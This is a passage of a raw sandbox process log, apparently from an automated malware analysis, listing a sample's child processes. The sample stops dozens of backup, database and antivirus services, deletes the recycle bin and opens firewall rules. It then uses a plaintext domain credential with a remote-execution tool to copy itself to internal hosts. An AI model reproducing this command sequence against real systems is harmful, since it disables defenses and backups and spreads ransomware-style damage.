    C:\Windows\system32\net1 stop BackupExecJobEngine /y
    3⤵
    PID:2052
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos Web Control Service” /y
  2⤵
  PID:4700
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos Web Control Service” /y
    3⤵
    PID:6604
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$PRACTTICEBGC /y
  2⤵
  PID:4692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$PRACTTICEBGC /y
    3⤵
    PID:3940
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecDeviceMediaService /y
  2⤵
  PID:4684
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecDeviceMediaService /y
    3⤵
    PID:3772
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos System Protection Service” /y
  2⤵
  PID:4676
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos System Protection Service” /y
    3⤵
    PID:3632
- C:\Windows\system32\net.exe
  "net.exe" stop audioendpointbuilder /y
  2⤵
  PID:4640
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop audioendpointbuilder /y
    3⤵
    PID:2624
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$ECWDB2 /y
  2⤵
  PID:4632
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQL$ECWDB2 /y
    3⤵
    PID:268
- C:\Windows\system32\net.exe
  "net.exe" stop ReportServer$SQL_2008 /y
  2⤵
  PID:4616
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ReportServer$SQL_2008 /y
    3⤵
    PID:976
- C:\Windows\system32\net.exe
  "net.exe" stop SMTPSvc /y
  2⤵
  PID:4608
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SMTPSvc /y
    3⤵
    PID:948
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos Clean Service” /y
  2⤵
  PID:4600
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos Clean Service” /y
    3⤵
    PID:5892
- C:\Windows\system32\net.exe
  "net.exe" stop MSExchangeMGMT /y
  2⤵
  PID:4592
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSExchangeMGMT /y
    3⤵
    PID:288
- C:\Windows\system32\net.exe
  "net.exe" stop msexchangeimap4 /y
  2⤵
  PID:4584
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop msexchangeimap4 /y
    3⤵
    PID:6744
- C:\Windows\system32\net.exe
  "net.exe" stop “intel(r) proset monitoring service” /y
  2⤵
  PID:4576
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “intel(r) proset monitoring service” /y
    3⤵
    PID:2852
- C:\Windows\system32\net.exe
  "net.exe" stop MSOLAP$TPSAMA /y
  2⤵
  PID:4568
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSOLAP$TPSAMA /y
    3⤵
    PID:972
- C:\Windows\system32\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:4560
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AcrSch2Svc /y
    3⤵
    PID:276
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos MCS Agent” /y
  2⤵
  PID:4552
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos MCS Agent” /y
    3⤵
    PID:2256
- C:\Windows\system32\net.exe
  "net.exe" stop msexchangeadtopology /y
  2⤵
  PID:4544
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop msexchangeadtopology /y
    3⤵
    PID:1416
- C:\Windows\system32\net.exe
  "net.exe" stop “aphidmonitorservice” /y
  2⤵
  PID:4536
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “aphidmonitorservice” /y
    3⤵
    PID:6984
- C:\Windows\system32\net.exe
  "net.exe" stop MSOLAP$TPS /y
  2⤵
  PID:4528
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSOLAP$TPS /y
    3⤵
    PID:2712
- C:\Windows\system32\net.exe
  "net.exe" stop “Zoolz 2 Service” /y
  2⤵
  PID:4520
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Zoolz 2 Service” /y
    3⤵
    PID:3124
- C:\Windows\system32\net.exe
  "net.exe" stop ReportServer$TPSAMA /y
  2⤵
  PID:4512
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ReportServer$TPSAMA /y
    3⤵
    PID:1828
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:4504
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
    3⤵
    PID:5544
- C:\Windows\system32\net.exe
  "net.exe" stop MSOLAP$SQL_2008 /y
  2⤵
  PID:4492
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSOLAP$SQL_2008 /y
    3⤵
    PID:5304
- C:\Windows\system32\net.exe
  "net.exe" stop ReportServer$SYSTEM_BGC /y
  2⤵
  PID:4468
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ReportServer$SYSTEM_BGC /y
    3⤵
    PID:3416
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos Device Control Service” /y
  2⤵
  PID:4460
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos Device Control Service” /y
    3⤵
    PID:1628
- C:\Windows\system32\net.exe
  "net.exe" stop MSExchangeMTA /y
  2⤵
  PID:4452
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSExchangeMTA /y
    3⤵
    PID:6456
- C:\Windows\system32\net.exe
  "net.exe" stop SstpSvc /y
  2⤵
  PID:4444
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SstpSvc /y
    3⤵
    PID:5332
- C:\Windows\system32\net.exe
  "net.exe" stop msftesql$PROD /y
  2⤵
  PID:4436
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop msftesql$PROD /y
    3⤵
    PID:5536
- C:\Windows\system32\net.exe
  "net.exe" stop EraserSvc11710 /y
  2⤵
  PID:4428
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop EraserSvc11710 /y
    3⤵
    PID:3616
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos Agent” /y
  2⤵
  PID:4420
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos Agent” /y
    3⤵
    PID:5928
- C:\Windows\system32\net.exe
  "net.exe" stop MSExchangeES /y
  2⤵
  PID:4412
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSExchangeES /y
    3⤵
    PID:4664
- C:\Windows\system32\net.exe
  "net.exe" stop IISAdmin /y
  2⤵
  PID:4404
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop IISAdmin /y
    3⤵
    PID:5972
- C:\Windows\system32\net.exe
  "net.exe" stop MsDtsServer /y
  2⤵
  PID:4396
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MsDtsServer /y
    3⤵
    PID:3088
- C:\Windows\system32\net.exe
  "net.exe" stop “Acronis VSS Provider” /y
  2⤵
  PID:4388
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Acronis VSS Provider” /y
    3⤵
    PID:2236
- C:\Windows\system32\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:4376
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop sophos /y
    3⤵
    PID:5936
- C:\Windows\system32\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:4368
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop CAARCUpdateSvc /y
    3⤵
    PID:732
- C:\Windows\system32\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:4360
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop CASAD2DWebSvc /y
    3⤵
    PID:5484
- C:\Windows\system32\net.exe
  "net.exe" stop MsDtsServer110 /y
  2⤵
  PID:4344
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MsDtsServer110 /y
    3⤵
    PID:4152
- C:\Windows\system32\net.exe
  "net.exe" stop “SQLsafe Backup Service” /y
  2⤵
  PID:4336
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “SQLsafe Backup Service” /y
    3⤵
    PID:1756
- C:\Windows\system32\net.exe
  "net.exe" stop ReportServer /y
  2⤵
  PID:4324
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop ReportServer /y
    3⤵
    PID:6568
- C:\Windows\system32\net.exe
  "net.exe" stop SamSs /y
  2⤵
  PID:4316
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SamSs /y
    3⤵
    PID:1308
- C:\Windows\system32\net.exe
  "net.exe" stop “Sophos AutoUpdate Service” /y
  2⤵
  PID:4308
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Sophos AutoUpdate Service” /y
    3⤵
    PID:3160
- C:\Windows\system32\net.exe
  "net.exe" stop MSExchangeIS /y
  2⤵
  PID:4296
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSExchangeIS /y
    3⤵
    PID:5512
- C:\Windows\system32\net.exe
  "net.exe" stop NetMsmqActivator /y
  2⤵
  PID:4288
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop NetMsmqActivator /y
    3⤵
    PID:744
- C:\Windows\system32\net.exe
  "net.exe" stop MsDtsServer100 /y
  2⤵
  PID:4280
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MsDtsServer100 /y
    3⤵
    PID:2512
- C:\Windows\system32\net.exe
  "net.exe" stop “SQL Backups /y
  2⤵
  PID:4272
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “SQL Backups /y
    3⤵
    PID:5788
- C:\Windows\system32\net.exe
  "net.exe" stop “Enterprise Client Service” /y
  2⤵
  PID:4260
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop “Enterprise Client Service” /y
    3⤵
    PID:5940
- C:\Windows\system32\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:4252
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop stc_raw_agent /y
    3⤵
    PID:5848
- C:\Windows\system32\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:4244
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop AcronisAgent /y
    3⤵
    PID:4192
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:4228
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:2088
- C:\Windows\system32\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:2728
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
    3⤵
    PID:5780
- C:\Windows\system32\net.exe
  "net.exe" stop OracleClientCache80 /y
  2⤵
  PID:2488
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop OracleClientCache80 /y
    3⤵
    PID:2692
- C:\Windows\system32\net.exe
  "net.exe" stop McTaskManager /y
  2⤵
  PID:4088
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop McTaskManager /y
    3⤵
    PID:760
- C:\Windows\system32\net.exe
  "net.exe" stop MySQL80 /y
  2⤵
  PID:4080
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MySQL80 /y
    3⤵
    PID:5632
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamRESTSvc /y
  2⤵
  PID:4072
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamRESTSvc /y
    3⤵
    PID:2672
- C:\Windows\system32\net.exe
  "net.exe" stop McShield /y
  2⤵
  PID:4064
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop McShield /y
    3⤵
    PID:5968
- C:\Windows\system32\net.exe
  "net.exe" stop MySQL57 /y
  2⤵
  PID:4056
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MySQL57 /y
    3⤵
    PID:3568
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:4048
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamNFSSvc /y
    3⤵
    PID:3392
- C:\Windows\system32\net.exe
  "net.exe" stop McAfeeFrameworkMcAfeeFramework /y
  2⤵
  PID:4032
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop McAfeeFrameworkMcAfeeFramework /y
    3⤵
    PID:1072
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQLServerOLAPService /y
  2⤵
  PID:4024
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQLServerOLAPService /y
    3⤵
    PID:2580
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamMountSvc /y
  2⤵
  PID:4016
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop VeeamMountSvc /y
    3⤵
    PID:4940
- C:\Windows\system32\net.exe
  "net.exe" stop McAfeeFramework /y
  2⤵
  PID:4008
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop McAfeeFramework /y
    3⤵
    PID:5864
- C:\Windows\system32\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:3996
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop YooIT /y
    3⤵
    PID:6760
- C:\Windows\system32\netsh.exe
  "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
  2⤵
  PID:3972
- C:\Windows\system32\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:3924
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:6616
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQLServerADHelper100 /y
  2⤵
  PID:3908
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQLServerADHelper100 /y
    3⤵
    PID:6516
- C:\Windows\system32\net.exe
  "net.exe" stop swi_filter /y
  2⤵
  PID:3112
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop swi_filter /y
    3⤵
    PID:6628
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$SYSTEM_BGC /y
  2⤵
  PID:3104
- C:\Windows\system32\net.exe
  "net.exe" stop svcGenericHost /y
  2⤵
  PID:3096
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop svcGenericHost /y
    3⤵
    PID:6680
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$SQLEXPRESS /y
  2⤵
  PID:3088
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$SQL_2008 /y
  2⤵
  PID:760
- C:\Windows\system32\net.exe
  "net.exe" stop sophossps /y
  2⤵
  PID:1760
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$SHAREPOINT /y
  2⤵
  PID:3016
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$SHAREPOINT /y
    3⤵
    PID:7000
- C:\Windows\system32\net.exe
  "net.exe" stop SntpService /y
  2⤵
  PID:2984
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$SBSMONITORING /y
  2⤵
  PID:3048
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$SBSMONITORING /y
    3⤵
    PID:6688
- C:\Windows\system32\net.exe
  "net.exe" stop SmcService /y
  2⤵
  PID:1288
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$PROFXENGAGEMENT /y
  2⤵
  PID:572
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$PROFXENGAGEMENT /y
    3⤵
    PID:6984
- C:\Windows\system32\net.exe
  "net.exe" stop Smcinst /y
  2⤵
  PID:1696
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$PROD /y
  2⤵
  PID:872
- C:\Windows\system32\net.exe
  "net.exe" stop ShMonitor /y
  2⤵
  PID:2008
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$PRACTTICEMGT /y
  2⤵
  PID:1048
- C:\Windows\system32\net.exe
  "net.exe" stop SepMasterService /y
  2⤵
  PID:644
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$PRACTTICEBGC /y
  2⤵
  PID:768
- C:\Windows\system32\net.exe
  "net.exe" stop SAVService /y
  2⤵
  PID:280
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$ECWDB2 /y
  2⤵
  PID:1088
- C:\Windows\system32\net.exe
  "net.exe" stop SAVAdminService /y
  2⤵
  PID:436
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$CXDB /y
  2⤵
  PID:2848
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop SQLAgent$CXDB /y
    3⤵
    PID:6712
- C:\Windows\system32\net.exe
  "net.exe" stop sacsvr /y
  2⤵
  PID:2960
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$CITRIX_METAFRAME /y
  2⤵
  PID:1648
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQL$SOPHOS /y
  2⤵
  PID:1116
- C:\Windows\system32\net.exe
  "net.exe" stop SQLAgent$BKUPEXEC /y
  2⤵
  PID:1072
- C:\Windows\system32\net.exe
  "net.exe" stop sms_site_sql_backup /y
  2⤵
  PID:2956
- C:\Windows\system32\net.exe
  "net.exe" stop mfevtp /y
  2⤵
  PID:2828
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop mfevtp /y
    3⤵
    PID:2180
- C:\Windows\system32\net.exe
  "net.exe" stop RESvc /y
  2⤵
  PID:2916
- C:\Windows\system32\net.exe
  "net.exe" stop wbengine /y
  2⤵
  PID:2868
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop wbengine /y
    3⤵
    PID:2656
- C:\Windows\system32\net.exe
  "net.exe" stop mfemms /y
  2⤵
  PID:396
- C:\Windows\system32\net.exe
  "net.exe" stop ReportServer$SQL_2008 /y
  2⤵
  PID:2896
- C:\Windows\system32\net.exe
  "net.exe" stop wbengine /y
  2⤵
  PID:2196
- C:\Windows\system32\net.exe
  "net.exe" stop mfefire /y
  2⤵
  PID:2748
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamEnterpriseManagerSvc /y
  2⤵
  PID:2692
- C:\Windows\system32\net.exe
  "net.exe" stop MBEndpointAgent /y
  2⤵
  PID:2656
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MBEndpointAgent /y
    3⤵
    PID:5608
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQLSERVER /y
  2⤵
  PID:2608
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamDeploySvc /y
  2⤵
  PID:2580
- C:\Windows\system32\net.exe
  "net.exe" stop MBAMService /y
  2⤵
  PID:2500
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQLFDLauncher$TPSAMA /y
  2⤵
  PID:2480
- C:\Windows\system32\net.exe
  "net.exe" stop macmnsvc /y
  2⤵
  PID:2212
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQLFDLauncher$SYSTEM_BGC /y
  2⤵
  PID:2168
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamCatalogSvc /y
  2⤵
  PID:2164
- C:\Windows\system32\net.exe
  "net.exe" stop klnagent /y
  2⤵
  PID:2188
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop klnagent /y
    3⤵
    PID:1724
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamBrokerSvc /y
  2⤵
  PID:2104
- C:\Windows\system32\net.exe
  "net.exe" stop kavfsslp /y
  2⤵
  PID:2052
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQLFDLauncher$SHAREPOINT /y
  2⤵
  PID:1352
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher$SHAREPOINT /y
    3⤵
    PID:2092
- C:\Windows\system32\net.exe
  "net.exe" stop KAVFSGT /y
  2⤵
  PID:732
- C:\Windows\system32\net.exe
  "net.exe" stop MSSQLFDLauncher$SBSMONITORING /y
  2⤵
  PID:1464
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop MSSQLFDLauncher$SBSMONITORING /y
    3⤵
    PID:3188
- C:\Windows\system32\net.exe
  "net.exe" stop SQLWriter /y
  2⤵
  PID:596
- C:\Windows\system32\net.exe
  "net.exe" stop KAVFS /y
  2⤵
  PID:2044
- C:\Windows\system32\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:3056
- C:\Windows\system32\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:3020
- C:\Windows\system32\net.exe
  "net.exe" stop masvc /y
  2⤵
  PID:3000
- C:\Windows\system32\sc.exe
  "sc.exe" config upnphost start= auto
  2⤵
  PID:2008
- C:\Windows\system32\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  PID:280
- C:\Windows\system32\netsh.exe
  "netsh" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
  2⤵
  PID:1416
- C:\Windows\system32\netsh.exe
  "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
  2⤵
  PID:1132
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c rd /s /q D:\\$Recycle.bin
  2⤵
  PID:928
- C:\Windows\system32\sc.exe
  "sc.exe" config FDResPub start= auto
  2⤵
  PID:1692
- C:\Windows\system32\sc.exe
  "sc.exe" config Dnscache start= auto
  2⤵
  PID:1636
- C:\Windows\system32\net.exe
  "net.exe" use \\10.7.0.28 /USER:d.rustamov 64446846
  2⤵
  PID:6040
- C:\Windows\system32\net.exe
  "net.exe" use \\10.7.0.28 /USER:
  2⤵
  PID:2672
- C:\Users\Admin\AppData\Local\Temp\a5i40vor.exe
  "C:\Users\Admin\AppData\Local\Temp\a5i40vor.exe" \\10.7.0.28 -u "" -p "" -d -h -s -f -accepteula -nobanner -c "C:\Users\Admin\AppData\Local\Temp\aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe"
  2⤵
  PID:6440
- C:\Users\Admin\AppData\Local\Temp\a5i40vor.exe
  "C:\Users\Admin\AppData\Local\Temp\a5i40vor.exe" \\10.7.0.28 -u "d.rustamov" -p "64446846" -d -h -s -f -accepteula -nobanner -c "C:\Users\Admin\AppData\Local\Temp\aa3e530d4567c1511126029fac0562ba8aa4ead0a01aceea169ade3e38a37ea7.bin.sample.exe"
  2⤵
  PID:6392
- C:\Windows\system32\arp.exe
  "arp" -a
  2⤵
  PID:5816
- C:\Windows\system32\net.exe
  "net.exe" use \\10.7.0.30\Users /USER:
  2⤵
  PID:1288
- C:\Windows\system32\net.exe
  "net.exe" use \\10.7.0.30\Users /USER:d.rustamov 64446846
  2⤵
  PID:1228
- C:\Windows\system32\net.exe
  "net.exe" use \\10.7.0.28\Users /USER:
  2⤵
  PID:3180
- C:\Windows\system32\net.exe
  "net.exe" use \\10.7.0.28\Users /USER:d.rustamov 64446846
  2⤵
  PID:6556
- C:\Windows\system32\cmd.exe
  "cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp66C6.bat
  2⤵
  PID:5244
- C:\Windows\system32\net.exe
  "net.exe" use "\\MRBKYMNO\" /USER:
  2⤵
  PID:3256
- C:\Windows\system32\net.exe
  "net.exe" use "\\MRBKYMNO\" /USER:d.rustamov 64446846
  2⤵
  PID:4116

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop masvc /y
1⤵
PID:5372

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
1⤵
PID:5408

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop QBCFMonitorService /y
1⤵
PID:5452

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamEnterpriseManagerSvc /y
1⤵
PID:5576

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop mfemms /y
1⤵
PID:5676

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ReportServer$SQL_2008 /y
1⤵
PID:5784

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop macmnsvc /y
1⤵
PID:5684

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$CITRIX_METAFRAME /y
1⤵
PID:5824

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-94041230183163603117096262751653160709746743616-825752125-1719696619211446860"
1⤵
PID:2548

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-15483834106556439131217465484-1157711228-193360895-44921362958502277-602704054"
1⤵
PID:1268

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-69555153422177559103458689932149941691652076247763213741574711-553542195"
1⤵
PID:3348

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-553814459-18045305823019349921185591252-128948718-1632628820-8500353091801628633"
1⤵
PID:2432

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "129408761-1635813211-857533158-78284346-1539498714-1406546362-1032790960663679914"
1⤵
PID:2344

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "551865807684516795-1763816047-8951229481014232477-867493388443253320948805608"
1⤵
PID:2388

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop KAVFSGT /y
1⤵
PID:5700

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamBrokerSvc /y
1⤵
PID:5844

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop KAVFS /y
1⤵
PID:5652

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$TPSAMA /y
1⤵
PID:5860

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$ECWDB2 /y
1⤵
PID:5660

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamDeploySvc /y
1⤵
PID:5932

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop kavfsslp /y
1⤵
PID:5924

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$SYSTEM_BGC /y
1⤵
PID:5892

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$BKUPEXEC /y
1⤵
PID:5876

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "61406872154638280343462731246887686-1232232941257468100-1309715562457900482"
1⤵
PID:2720
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 stop RTVscan /y
  2⤵
  PID:3544

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop VeeamCatalogSvc /y
1⤵
PID:5636

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-158101718411445544642091952512-703390656-944883862478053019-596570355615435916"
1⤵
PID:3528

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLWriter /y
1⤵
PID:5592

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-13079889366895476319351138712350924155228080481311978370973221530-344583996"
1⤵
PID:2648

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1812508735-554239259487472634-84749810-22821832497389246712845678758598663"
1⤵
PID:3512

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ShMonitor /y
1⤵
PID:6076

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$SQL_2008 /y
1⤵
PID:2300

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop sophossps /y
1⤵
PID:2068

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SmcService /y
1⤵
PID:1228

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$SQLEXPRESS /y
1⤵
PID:1724

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SQLAgent$SYSTEM_BGC /y
1⤵
PID:2572

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SntpService /y
1⤵
PID:2484

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MBAMService /y
1⤵
PID:2072

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQL$SOPHOS /y
1⤵
PID:2240

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop MSSQLSERVER /y
1⤵
PID:6316

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SAVService /y
1⤵
PID:6324

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop wbengine /y
1⤵
PID:2288

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop RESvc /y
1⤵
PID:2360

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop sms_site_sql_backup /y
1⤵
PID:3216

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop mfefire /y
1⤵
PID:2340

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop sacsvr /y
1⤵
PID:6308

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop SAVAdminService /y
1⤵
PID:6332

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "14153233162091630629-89973402199994007-6318450321150028316-24616272126060235"
1⤵
PID:1648

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "775228786552891391-1798802567-1100843835-206334010615053469591009384445-845602061"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:564

C:\Windows\system32\conhost.exe
